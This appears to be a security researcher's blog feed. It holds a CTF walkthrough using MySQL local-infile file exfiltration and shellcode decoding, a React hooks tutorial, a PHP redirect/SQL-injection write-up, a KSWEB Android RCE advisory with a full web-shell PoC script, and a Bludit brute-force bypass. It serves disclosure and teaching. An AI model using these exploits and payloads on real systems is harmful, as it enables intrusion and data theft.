Normal view

There are new articles available, click to refresh the page.
Before yesterdayrastating.github.io

ReadMe Walkthrough

18 August 2019 at 00:00

Overview

ReadMe is aiming to teach users about two things. One, a feature of MySQL that I have found to not be widely known about - which is that the client can be forced to send local files to the server. Two, some basic x86 assembly and analysis with gdb.

Network Configuration

ReadMe is currently using DHCP on the ens33 interface. This can be configured using netplan.

The open ports are 22 (SSH), 3360 (a fake MySQL server), and 80 (Apache).

User Credentials

tatham:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE julian:I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh

Both these users can login via SSH (required as part of the challenge). Julian is not part of the sudo group but tatham is.

Flags

  • User: 2e640cbe2ea53070a0dbd3e5104e7c98
  • Root: 52eeb6cfa53008c6b87a6c79f4347275

Path To User Flag

Initially, the user will be able to see three open ports:

  • 22
  • 80
  • 3306

The service listening on port 3306 is a Python script that accepts connections and mimics a MySQL server with remote authentication disabled. This is part rabbit-hole and part resource saver, given there is no need to have MySQL running.

On port 80, a web server can be found which needs to be brute forced to find some key files:

  • /info.php: shows phpinfo() output, which will show that the mysqli.allow_local_infile setting is enabled
  • /reminder.php: contains an important hint for the root flag (that the code in tatham’s directory is using an encoder) and will also reveal the path of a directory containing an important file
  • /adminer.php: a copy of adminer 4.4

Upon visiting reminder.php, the user will see a message directed towards julian followed by an image which is being served from a directory with no index that also contains a file named creds.txt. This file will reveal the path to where julian’s login credentials can be found on the local file system (/etc/julian.txt).

With this information, the user can point adminer towards their own MySQL server in order to exfiltrate the contents of /etc/julian.txt. To do this, a MySQL server must be installed (apt install mysql-server) and a user created that has all privileges on a database (this can be any database, for example’s sake, I’ll be using the mysql database).

When creating the user, the authentication type must be set to mysql_native_password due to the mysqli driver not supporting the latest default authentication method. If it is not, adminer will indicate to the user that it cannot authenticate and output a MySQL error.

To setup a user this way, the following command should be executed in the MySQL CLI:

CREATE USER 'jeff'@'%' IDENTIFIED WITH mysql_native_password BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'jeff'@'%';

Now that a new user is setup (in this case, jeff), the local_infile variable on the user’s MySQL server needs to be enabled. To do this, execute:

SET GLOBAL local_infile = true;

The setting can then be confirmed by running:

SHOW GLOBAL VARIABLES LIKE 'local_infile';

If the setting was successfully enabled, the following output will be displayed:

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| local_infile  | ON    |
+---------------+-------+

Now that the attacker’s MySQL server is setup, navigating to /adminer.php and filling in the connection details will force adminer to connect back to the attacker, where they will then be viewing their own database server in the web app.

From here, files local to ReadMe can be exfiltrated to the attacker using the local infile syntax. First, the user must create a new table to save the data into. For this example, I have created a table named exploit with a single text column.

After creating the table, going to the SQL command page and executing the following query will populate the exploit table with the contents of /etc/julian.txt:

load data local infile '/etc/julian.txt' into table mysql.exploit fields terminated by "\n"

After executing this query, clicking “select” to the left of the exploit table will reveal a row for each line in the file, which reveals the password for the julian account:

With the password recovered, the user can then login via SSH as julian using the password and get the user flag from /home/julian/user.txt

Path to Root Flag

After authenticating as julian, the user will be able to see the contents of tatham’s home directory. Within this directory are two files:

  • payload.bin: a file containing shellcode, which contains tatham’s password
  • poc.c: a file that the shellcode can be placed in to run it

There are two methods that can be used to decode the payload and recover the password.

Method 1: Debugging

First, place the contents of payload.bin into the placeholder of poc.c and compile with protections disabled:

gcc -m32 -fno-stack-protector -z execstack poc.c -o poc

Next, load poc into gdb (gdb ./poc) and disassemble the main function to find the point which the shellcode is called by running disas main:

After confirming the offset, place a breakpoint (b *main+164) and then run the executable. Once the breakpoint is hit, stepping into the call eax instruction will then leave the user at the point of the xorfuscator decoder stub being executed:

Once here, viewing the next 15 instructions that are to be executed (x/15i $pc) will reveal the address that the decoded payload can be found at after the stub has finished (in this case, 0xffffc595, this value will change every time due to ASLR):

A breakpoint should be placed here (b *0xffffc595) and once it is hit, after continuing execution, should be stepped into. Now EIP will be pointing at the original shellcode that has been decoded in place.

By viewing the next 70 instructions (x/70i $pc), the user will be able to dump out the original un-encoded instructions (the screenshot below was taken after stepping one instruction further in, in the original shellcode, there is a mov ebp, esp instruction before the first xor):

Continuing to execute from this point will result in the password not being revealed, as the original payload contains two key mistakes that need to be fixed if the user wishes to reveal it via execution.

Examining the recovered code will show 64 bytes being repeatedly loaded into the eax register, even though the rest of the code is trying to work with a value on the stack. This should make it clear that the lea eax instructions should actually be push instructions.

In addition to this, the decoder loop is exiting after the first iteration as a jz instruction is being used as opposed to a jnz.

A copy of the working and broken payloads can be found at the end of this post.

After reconstructing the NASM file to represent something functionally equivalent to the original code (see sample at end of this post), it can be compiled by running (assuming the code is in a file named fixed.nasm):

nasm -f elf32 fixed.nasm && ld -m elf_i386 fixed.o

The previous command will now have built a file named a.out which is the fixed executable, running this in gdb will make execution pause when it reaches the interrupts at the end of the file, and the base64 encoded password will be visible on the stack:

Decoding this value will reveal the password for the tatham account, which if the user logs into will be able to run any command as root using sudo, and will be able to then obtain the root flag.

Method 2: Manually Decoding

The alternative to recovering the decoded payload using gdb is to do it manually. Due to the relatively small size of the payload, this is doable and may make the process slightly easier if the encoding method can be identified.

The encoder used as well as a script that contains the decoder stub is publicly documented here: https://rastating.github.io/creating-a-custom-shellcode-encoder/

By first removing the decoder stub from the contents of payload.bin, the user will be left with only the encoded payload. The user can then work through the remaining values and XOR each pair with the byte that precedes it as per the illustration on the aforementioned page:

After recovering the original hexadecimal bytes, the ASM code can be recovered using ndisasm, as per below:

$ echo -ne "\x89\xe5\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x8d\x05\x12\x13\x7f\x7f\x8d\x05\x22\x2f\x7b\x15\x8d\x05\x12\x73\x24\x13\x8d\x05\x23\x04\x7b\x08\x8d\x05\x22\x70\x28\x73\x8d\x05\x12\x09\x28\x30\x8d\x05\x20\x2f\x16\x3b\x8d\x05\x19\x19\x0e\x36\x8d\x05\x13\x09\x7b\x15\x8d\x05\x60\x09\x7b\x75\x8d\x05\x10\x75\x16\x70\x8d\x05\x25\x2f\x16\x2d\x8d\x05\x23\x19\x24\x73\x8d\x05\x27\x75\x16\x09\x8d\x05\x0c\x2b\x77\x1a\x8d\x05\x17\x72\x78\x37\x8d\x4d\x00\x29\xe1\x8d\x15\x14\x00\x00\x00\x39\xd1\x74\x4a\x8d\x15\x18\x00\x00\x00\x39\xd1\x74\x48\x8d\x15\x1c\x00\x00\x00\x39\xd1\x74\x3e\x8d\x15\x20\x00\x00\x00\x39\xd1\x74\x3c\x8d\x15\x24\x00\x00\x00\x39\xd1\x74\x3a\x8d\x15\x28\x00\x00\x00\x39\xd1\x74\x38\x8d\x15\x2c\x00\x00\x00\x39\xd1\x74\x16\x8d\x15\x38\x00\x00\x00\x39\xd1\x74\x1c\xeb\x2a\xeb\xac\x8d\x1d\x46\x41\x41\x41\xeb\x28\x8d\x1d\x45\x41\x41\x41\xeb\x20\x8d\x1d\x42\x41\x41\x41\xeb\x18\x8d\x1d\x44\x41\x41\x41\xeb\x10\x8d\x1d\x34\x41\x41\x41\xeb\x08\x8d\x1d\x41\x41\x41\x41\xeb\x00\x8d\x45\x00\x29\xc8\x31\x18\x81\x28\x01\x01\x01\x01\x83\xe9\x04\x31\xc0\x39\xc1\x74\xb8\xcc\xcc\xcc\xcc" | ndisasm -b 32 -p intel -
00000000  89E5              mov ebp,esp
00000002  31C0              xor eax,eax
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  31D2              xor edx,edx
0000000A  8D0512137F7F      lea eax,[dword 0x7f7f1312]
00000010  8D05222F7B15      lea eax,[dword 0x157b2f22]
00000016  8D0512732413      lea eax,[dword 0x13247312]
0000001C  8D0523047B08      lea eax,[dword 0x87b0423]
00000022  8D0522702873      lea eax,[dword 0x73287022]
00000028  8D0512092830      lea eax,[dword 0x30280912]
0000002E  8D05202F163B      lea eax,[dword 0x3b162f20]
00000034  8D0519190E36      lea eax,[dword 0x360e1919]
0000003A  8D0513097B15      lea eax,[dword 0x157b0913]
00000040  8D0560097B75      lea eax,[dword 0x757b0960]
00000046  8D0510751670      lea eax,[dword 0x70167510]
0000004C  8D05252F162D      lea eax,[dword 0x2d162f25]
00000052  8D0523192473      lea eax,[dword 0x73241923]
00000058  8D0527751609      lea eax,[dword 0x9167527]
0000005E  8D050C2B771A      lea eax,[dword 0x1a772b0c]
00000064  8D0517727837      lea eax,[dword 0x37787217]
0000006A  8D4D00            lea ecx,[ebp+0x0]
0000006D  29E1              sub ecx,esp
0000006F  8D1514000000      lea edx,[dword 0x14]
00000075  39D1              cmp ecx,edx
00000077  744A              jz 0xc3
00000079  8D1518000000      lea edx,[dword 0x18]
0000007F  39D1              cmp ecx,edx
00000081  7448              jz 0xcb
00000083  8D151C000000      lea edx,[dword 0x1c]
00000089  39D1              cmp ecx,edx
0000008B  743E              jz 0xcb
0000008D  8D1520000000      lea edx,[dword 0x20]
00000093  39D1              cmp ecx,edx
00000095  743C              jz 0xd3
00000097  8D1524000000      lea edx,[dword 0x24]
0000009D  39D1              cmp ecx,edx
0000009F  743A              jz 0xdb
000000A1  8D1528000000      lea edx,[dword 0x28]
000000A7  39D1              cmp ecx,edx
000000A9  7438              jz 0xe3
000000AB  8D152C000000      lea edx,[dword 0x2c]
000000B1  39D1              cmp ecx,edx
000000B3  7416              jz 0xcb
000000B5  8D1538000000      lea edx,[dword 0x38]
000000BB  39D1              cmp ecx,edx
000000BD  741C              jz 0xdb
000000BF  EB2A              jmp short 0xeb
000000C1  EBAC              jmp short 0x6f
000000C3  8D1D46414141      lea ebx,[dword 0x41414146]
000000C9  EB28              jmp short 0xf3
000000CB  8D1D45414141      lea ebx,[dword 0x41414145]
000000D1  EB20              jmp short 0xf3
000000D3  8D1D42414141      lea ebx,[dword 0x41414142]
000000D9  EB18              jmp short 0xf3
000000DB  8D1D44414141      lea ebx,[dword 0x41414144]
000000E1  EB10              jmp short 0xf3
000000E3  8D1D34414141      lea ebx,[dword 0x41414134]
000000E9  EB08              jmp short 0xf3
000000EB  8D1D41414141      lea ebx,[dword 0x41414141]
000000F1  EB00              jmp short 0xf3
000000F3  8D4500            lea eax,[ebp+0x0]
000000F6  29C8              sub eax,ecx
000000F8  3118              xor [eax],ebx
000000FA  812801010101      sub dword [eax],0x1010101
00000100  83E904            sub ecx,byte +0x4
00000103  31C0              xor eax,eax
00000105  39C1              cmp ecx,eax
00000107  74B8              jz 0xc1
00000109  CC                int3
0000010A  CC                int3
0000010B  CC                int3
0000010C  CC                int3

After recovering the original payload, the user can either fix it as per the explanation in method 1, or they can try to analyse what is happening in the loop which is XORing the 64 encoded bytes on the stack against the below key and shifting the ASCII values negatively one position:

AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA

An illustration of the decoding process can be viewed on CyberChef here: https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Space’)XOR(%7B’option’:’UTF8’,’string’:’AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA’%7D,’Standard’,false)ROT47(-1)From_Base64(‘A-Za-z0-9%2B/%3D’,true)&input=MTcgNzIgNzggMzcgMGMgMmIgNzcgMWEgMjcgNzUgMTYgMDkgMjMgMTkgMjQgNzMgMjUgMmYgMTYgMmQgMTAgNzUgMTYgNzAgNjAgMDkgN2IgNzUgMTMgMDkgN2IgMTUgMTkgMTkgMGUgMzYgMjAgMmYgMTYgM2IgMTIgMDkgMjggMzAgMjIgNzAgMjggNzMgMjMgMDQgN2IgMDggMTIgNzMgMjQgMTMgMjIgMmYgN2IgMTUgMTIgMTMgN2YgN2Y

At this point, they can use the recovered password to login as tatham and retrieve the root flag using sudo as per method 1.

Fixed Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; push encoded password onto stack
    push  0x7f7f1312
    push  0x157b2f22
    push  0x13247312
    push  0x087b0423
    push  0x73287022
    push  0x30280912
    push  0x3b162f20
    push  0x360e1919
    push  0x157b0913
    push  0x757b0960
    push  0x70167510
    push  0x2d162f25
    push  0x73241923
    push  0x09167527
    push  0x1a772b0c
    push  0x37787217

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax
    jnz   short_loop_jmp

    int3
    int3
    int3
    int3

Original (Broken) Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; Challenge 1: stack push broken with loading into eax register
    lea   eax, [0x7f7f1312]
    lea   eax, [0x157b2f22]
    lea   eax, [0x13247312]
    lea   eax, [0x087b0423]
    lea   eax, [0x73287022]
    lea   eax, [0x30280912]
    lea   eax, [0x3b162f20]
    lea   eax, [0x360e1919]
    lea   eax, [0x157b0913]
    lea   eax, [0x757b0960]
    lea   eax, [0x70167510]
    lea   eax, [0x2d162f25]
    lea   eax, [0x73241923]
    lea   eax, [0x09167527]
    lea   eax, [0x1a772b0c]
    lea   eax, [0x37787217]

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax

    ; Challenge 2: jnz changed to jz
    jz    short_loop_jmp

    int3
    int3
    int3
    int3

Creating a Conditional React Hook

13 September 2019 at 00:00

After seeing that the React team have been encouraging people to start using hooks for future development over the class based approach that has been used for stateful components previously, I decided to check them out.

My first thoughts were that the new approach is really awesome. Much less boilerplate code and the ability to share logic between different components easily - what’s not to love?

I quickly jumped in to trying to use them, and almost as quickly hit a dead end. I was trying to create a form that would:

  1. Load data from a remote server and populate a form with the result
  2. Call an API to save the data back when the user hits the save button

The first point went smoothly, but the second? Not so much. One of the rules that has to be followed when using hooks is that they all must be called in the top level of the function.

What I mean by this, is that anything that accepts a callback, such as useEffect cannot contain hook invocations. They all must appear in the main function of the hook, ensuring that the same number of hooks are invoked every time a re-render occurs.

Why is this a problem? Well, I was trying to invoke the hook when the user clicks a button, which means the first render only calls one hook (to load the remote data) but the render after the user clicks the button was then calling two hooks.

The solution to this was incredibly simple, but didn’t click straight away. That solution being - I could create a flag in my hook to indicate whether or not to actually execute the action. Doing this would ensure that the same number of hooks are called every time, but it’d only execute the action when the flag is changed to indicate it should.

Below is an example of my hook, with some implementation replaced with some mock code for the sake of keeping it simple.

import React, { useState, useEffect } from 'react'

function useApi ({ endpoint, method, body, shouldExecute }) {
  const [result, setResult] = useState(null)
  const [executing, setExecuting] = useState(false)
  const [hasError, setHasError] = useState(false)

  if (shouldExecute) {
    setExecuting(true)
  }

  const executeRequest = async () => {
    try {
      const res = await ApiExample.call(endpoint, method, body)
      setResult(res)
    } catch (error) {
      setHasError(true)
    }

    setExecuting(false)
  }

  useEffect(() => {
    if (shouldExecute) {
      executeRequest()
    }
  }, [shouldExecute])

  return { executing, hasError, result }
}

export default useApi

The purpose of this hook is to be able to specify the API endpoint, HTTP method and body and get an object back that indicates:

  • Whether the task is executing (executing)
  • Whether an error occurred making the request (hasError)
  • The result of the request, if successful (result)

If we were not to pass the shouldExecute value and use it and instead invoke executeRequest immediately inside the callback of useEffect, the HTTP request would be sent to the API pretty much instantly after the hook is invoked. Whilst this is fine for loading data, this was not sufficient for my use case of wanting to execute a request upon clicking a save button. Enter - the shouldExecute value.

By adding this extra flag, useEffect can be configured to be dependent on shouldExecute (as can be seen in the second argument to useEffect). This means that every time shouldExecute changes - the useEffect callback is invoked (you can probably see where this is now going).

Now that the useApi hook will only make the AJAX request based on the flag that we can bind a value to in its consumer, we can invoke it twice at the start of the consuming hook like this:

const ApiWrapper = () => {
  const [shouldSave, setShouldSave] = useState(false)

  const a = useApi({
    endpoint: '/load-data',
    method: 'GET',
    shouldExecute: true
  })

  const b = useApi({
    endpoint: '/save-data',
    method: 'POST',
    body: { foo: 'bar' },
    shouldExecute: shouldSave
  })

  if (shouldSave && !b.executing) {
    setShouldSave(false)
  }

  return (
    <div>
      <span>{a.result}</span>
      <button onClick={() => setShouldSave(true)}>Save</button>
    </div>
  )
}

In this example, a will hold the data that would then populate a form (in this case just dumping it into a span to keep things concise) and b will hold the result of the save operation.

On the first render of ApiWrapper, the useApi hook will be called twice and the results assigned to a and b. As you can see in the assignment of b, the shouldExecute property is bound to the value of shouldSave, which is only set to true once the user clicks the button.

There is also a check to reset the flag, if shouldSave is true. If it is true, the user has previously clicked the button, and if b.executing is false, then that would mean the task in the useApi hook is now finished and we can reset the value of shouldSave.

It’s a bit different to how one would normally approach this, but overall, it actually makes the code even more concise and easy to read, so I’d still say it’s worth adapting to this type of approach.

If you need more information on how useEffect works and the general changes that have been introduced with hooks, make sure to check out the official documentation at https://reactjs.org/docs/hooks-intro.html

Access Control and the PHP Header Function

1 October 2019 at 00:00

Access control issues are noted by many to be something that never seems to get a whole lot less prevalent. Why? Because there is no real way to abstract it and make it automated; unless the developer is working with a framework which contains its own user system. As a result, implementing this will near always be down to the developer, and although it is a simple task, it can be very easy to overlook small mistakes or misinterpret how something will work.

A pattern I have seen a lot of in the past, cropped up again last night when reviewing some open-source projects and felt it was worth reiterating on. That pattern, is using PHP’s header function to initiate redirects when a user is not permitted to be viewing the page.

On the face of it, this pattern sounds fine and from a functional stand point is something you’d want to do. For example, if a user is trying to access a page that they need to be logged in to view, it’d not be user friendly to simply halt execution, you’d want to redirect them to the login page instead.

The problem with this is in the assumption of what is happening in the implementation of the header function. As the name suggests, this function will literally set a HTTP header; meaning code like this is quite common place:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
  }

  if(isset($_GET['id'])) {
    $id = $_GET['id'];
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

For those not overly familiar with PHP, let’s break down lines 5-7. The $_SESSION global is an array of session variables. In a user system, this will typically be used to store the username / user ID of the currently logged in user so that it persists between loading different pages. In this case, the developer has chosen to check if the username session variable exists (to veirfy the user is logged in) and if it isn’t, redirect them back to the home page.

Again, functionally, this sounds great, except a big assumption has been made about the header function. The assumption being that it will end script execution (spoiler: it does not). Any code that proceeds a call to header will still execute, as even if one is to set the Location header in order to facilitate a redirect - it is still completely valid to set content in the body of the response too.

In the project that I found this vulnerability in, all other files that rendered markup to the screen had appropriately handled this scenario, but in this particular file (used for handling post deletions), it had not been. It’s possible this was a simple mistake, or that the author had thought maybe there is no exploitable functionality given that the page instantly redirects. If it was the latter, then it would definitely be the wrong presumption.

You’ll notice on line 11 that there is string interpolation being used to create an SQL query to be executed:

$id = $_GET['id'];
$sql = "DELETE FROM posts WHERE id = '$id'";
$result = mysqli_query($dbcon, $sql);

Although no data is output to the screen and a redirect is initiated, this does not stop us exploiting this. By injecting a call to SLEEP in the id parameter (using the payload 1' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))a)-- a), it is possible to confirm that the injection is there and that we can use a time-based attack due to the response not being sent until the entirety of the PHP file has been executed:

If you take a look at the last timestamp of the request (denoted with a >) and the first timestamp of the response (denoted by a <), you will see there is a 5 second difference - the same as the value specified in the call to SLEEP; confirming the injection can be exploited. This can be further illustrated by throwing SQLmap at it:

To fix the main vulnerability that allowed the bypass of the access control, it took simply adding a call to exit directly after the call to header as can be seen on line 7 of the patched code below:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
    exit();
  }

  if(isset($_GET['id'])) {
    $id = mysqli_real_escape_string($dbcon, $_GET['id']);
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

After applying this (even without fixing the SQL injection), the same curl request will no longer invoke the call to SLEEP as can be seen in the below output:

KSWEB for Android Remote Code Execution

2 October 2019 at 00:00

KSWEB is an Android application used to allow an Android device to act as a web server. Bundled with this mobile application, are several management tools with one-click installers which are installed with predefined sets of credentials.

One of the tools, is a tool developed by the vendor of KSWEB themselves; which is KSWEB Web Interface. This web application allows authenticated users to update several core settings, including the configuration of the various server packages.

As can be seen in the screenshot below (which also shows a local file disclosure via the hostFile parameter), the selected file is made visible in a text editor and the changes can be saved by clicking the button in the top right corner of the editor.

When the save button is hit, a request is sent to the AJAX handler, like this:

POST /includes/ajax/handler.php HTTP/1.1
Host: localhost:8002
Connection: keep-alive
Content-Length: 1912
Authorization: Basic YWRtaW46YWRtaW4=
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: cors
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8002
Sec-Fetch-Site: same-origin
Referer: http://localhost:8002/?page=5
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

act=save_config&configFile=%2Fdata%2Fdata%2Fru.kslabs.ksweb%2Fcomponents%2Fmysql%2Fconf%2Fmy.ini&config_text=**long config file content ommitted*

As can be seen in the above request, the full path to the file being written to is found in the configFile field. As there is no whitelist of files that can be written to, and due to the write permissions of the KSWEB Web Interface application directory not being restricted, it is possible to use this to write a PHP file to the /data/data/ru.kslabs.ksweb/components/web/www/ directory, which will provide command execution.

Additionally, KSWEB supports running as root, meaning that if the user has allowed access as root, full control of the device can be gained via this vulnerability, as can be seen in the screenshot of the PoC below:

Play Store Installs

100,000+

Play Store Link

https://play.google.com/store/apps/details?id=ru.kslabs.ksweb&gl=GB

Solution

Upgrade to version 3.94 or later

CVSS v3 Vector

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-08-27: Vulnerability found, vendor contacted
  • 2019-08-27: CVE requested
  • 2019-08-29: CVE-2019-15766 assigned for the RCE
  • 2019-08-29: Vendor responded to confirm issue will be being fixed in an update
  • 2019-09-10: CVE-2019-16198 assigned for the LFD vulnerability
  • 2019-09-21: Contact vendor to check status of patch
  • 2019-10-01: Version 3.94 released to fix vulnerabilities

Proof of Concept

import requests
import sys

from requests.auth import HTTPBasicAuth

BOLD = '\033[1m'
GREEN = '\033[92m'
FAIL = '\033[93m'
RESET = '\033[0m'

if len(sys.argv) < 2:
    print 'Usage: python {file} target_ip [username] [password]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2] if len(sys.argv) > 2 else 'admin'
password = sys.argv[3] if len(sys.argv) > 2 else 'admin'
host = sys.argv[1]

base_url = ''

def print_action (msg):
    print '{b}{g}[+]{r} {msg}'.format(b = BOLD, g = GREEN, r = RESET, msg = msg)

def print_error (msg):
    print '{b}{f}[!]{r} {msg}'.format(b = BOLD, f = FAIL, r = RESET, msg = msg)

def run_cmd (cmd, hide_output = False):
    r = requests.get('{b}/ksws.php?1={c}'.format(b = base_url, c = cmd), auth=(username, password))

    if not hide_output:
        print r.text.rstrip()

    return r.status_code == 200

print '  _  __ _______          ________ ____     _____ _          _ _ '
print ' | |/ // ____\\ \\        / /  ____|  _ \\   / ____| |        | | |'
print ' | \' /| (___  \\ \\  /\\  / /| |__  | |_) | | (___ | |__   ___| | |'
print ' |  <  \\___ \\  \\ \\/  \\/ / |  __| |  _ <   \\___ \\| \'_ \\ / _ \\ | |'
print ' | . \\ ____) |  \\  /\\  /  | |____| |_) |  ____) | | | |  __/ | |'
print ' |_|\\_\\_____/    \\/  \\/   |______|____/  |_____/|_| |_|\\___|_|_|\n'

port = 8000

print_action('Scanning for WebFace port...')
while port < 8100:
    try:
        r = requests.get('http://{h}:{p}'.format(h = host, p = port))
        if r.status_code == 401 and 'for KSWEB' in r.headers['Server']:
            print_action('Found WebFace on port {p}'.format(p = port))
            break
        else:
            port = port + 1
    except:
        port = port + 1


base_url = 'http://{h}:{p}'.format(h = host, p = port)

try:
    print_action('Testing credentials ({u}:{p})...'.format(u = username, p = password))
    r = requests.get(base_url, auth=(username, password))

    if r.status_code != 200:
        print_error('The specified credentials ({u}:{p}) were invalid'.format(u = username, p = password))
        sys.exit(1)
except:
    print_error('An error occurred connecting to the host')
    sys.exit(2)

print_action('Uploading web shell...')
r = requests.post('{b}/includes/ajax/handler.php'.format(b = base_url), auth=(username, password), data={
        'act': 'save_config',
        'configFile': '/data/data/ru.kslabs.ksweb/components/web/www/ksws.php',
        'config_text': '<?=`$_GET[1]`?>'
    })

print
run_cmd('uname -a')
run_cmd('pwd')

while True:
    cmd = raw_input('$: ')
    if cmd.lower() == 'exit':
        break
    else:
        run_cmd(cmd)

print

print_action('Cleaning up...')
if not run_cmd('rm /data/data/ru.kslabs.ksweb/components/web/www/ksws.php'):
    print_error('Failed to delete the web shell from the target')

Bludit Brute Force Mitigation Bypass

5 October 2019 at 00:00

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

public function getUserIp()
{
  if (getenv('HTTP_X_FORWARDED_FOR')) {
    $ip = getenv('HTTP_X_FORWARDED_FOR');
  } elseif (getenv('HTTP_CLIENT_IP')) {
    $ip = getenv('HTTP_CLIENT_IP');
  } else {
    $ip = getenv('REMOTE_ADDR');
  }
  return $ip;
}

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

{
    "minutesBlocked": 5,
    "numberFailuresAllowed": 10,
    "blackList": {
        "192.168.194.1": {
            "lastFailure": 1570286876,
            "numberFailures": 1
        },
        "10.10.10.10": {
            "lastFailure": 1570286993,
            "numberFailures": 1
        },
        "FakeIp": {
            "lastFailure": 1570287052,
            "numberFailures": 1
        }
    }
}

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Demonstration

Versions Affected

<= 3.9.2

Solution

Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

CVSS v3 Vector

